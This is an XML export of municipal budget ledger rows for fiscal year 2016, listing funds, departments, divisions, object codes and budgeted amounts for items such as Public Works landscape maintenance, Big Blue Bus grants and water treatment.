<row _id="21580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3094</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3094</total></row>
<row _id="21581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>93795</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>93795</total></row>
<row _id="21582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1068</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1068</total></row>
<row _id="21583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-2603</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2603</total></row>
<row _id="21584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>213</total></row>
<row _id="21585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER OUT TO HOUSING FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>460295</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>460295</total></row>
<row _id="21587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561112.0</object><object_description>CLARE COORDINATED CASE MGMT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4130</total></row>
<row _id="21588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>VENICE FAMILY CLINIC-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3986</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3986</total></row>
<row _id="21589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409180.0</object><object_description>COMMERCIAL INSTRUCTION USE CHA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-63900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-63900</total></row>
<row _id="21590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>60919</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60919</total></row>
<row _id="21591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="21592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24675</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24675</total></row>
<row _id="21593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="21594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-STORMWATER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>723686</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>723686</total></row>
<row _id="21597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING-TRANS OUT TO 01 FD</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>241202</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>241202</total></row>
<row _id="21598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>59127</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59127</total></row>
<row _id="21601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1224000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1224000</total></row>
<row _id="21602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>421096</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>421096</total></row>
<row _id="21603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5518</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5518</total></row>
<row _id="21604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>94027</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>94027</total></row>
<row _id="21605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>563123.0</object><object_description>WISE SENIOR &amp; DISAB SVCS (PALR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>192711</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>192711</total></row>
<row _id="21606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409150.0</object><object_description>PASSPORT SERV PHOTOS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-9000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9000</total></row>
<row _id="21607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409160.0</object><object_description>AGENDA PACKET SUBSCRIPTION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-784</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-784</total></row>
<row _id="21608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561118.0</object><object_description>STEP UP ON 2ND SNCTURY-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2600</total></row>
<row _id="21609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-ARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="21610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404771.0</object><object_description>BIKE TRANSIT CTR CONCESSION AG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-65178</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-65178</total></row>
<row _id="21611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409170.0</object><object_description>ACTIVITY PASSPORT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200</total></row>
<row _id="21612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>31776</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31776</total></row>
<row _id="21613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>31970</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31970</total></row>
<row _id="21614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>700</total></row>
<row _id="21616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="21617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4081</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4081</total></row>
<row _id="21618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1344</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1344</total></row>
<row _id="21619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1010</total></row>
<row _id="21620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1350</total></row>
<row _id="21621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1239990</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1239990</total></row>
<row _id="21622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20500</total></row>
<row _id="21623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-4324</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4324</total></row>
<row _id="21624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2096</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2096</total></row>
<row _id="21625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9200</total></row>
<row _id="21626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="21627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>142029</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>142029</total></row>
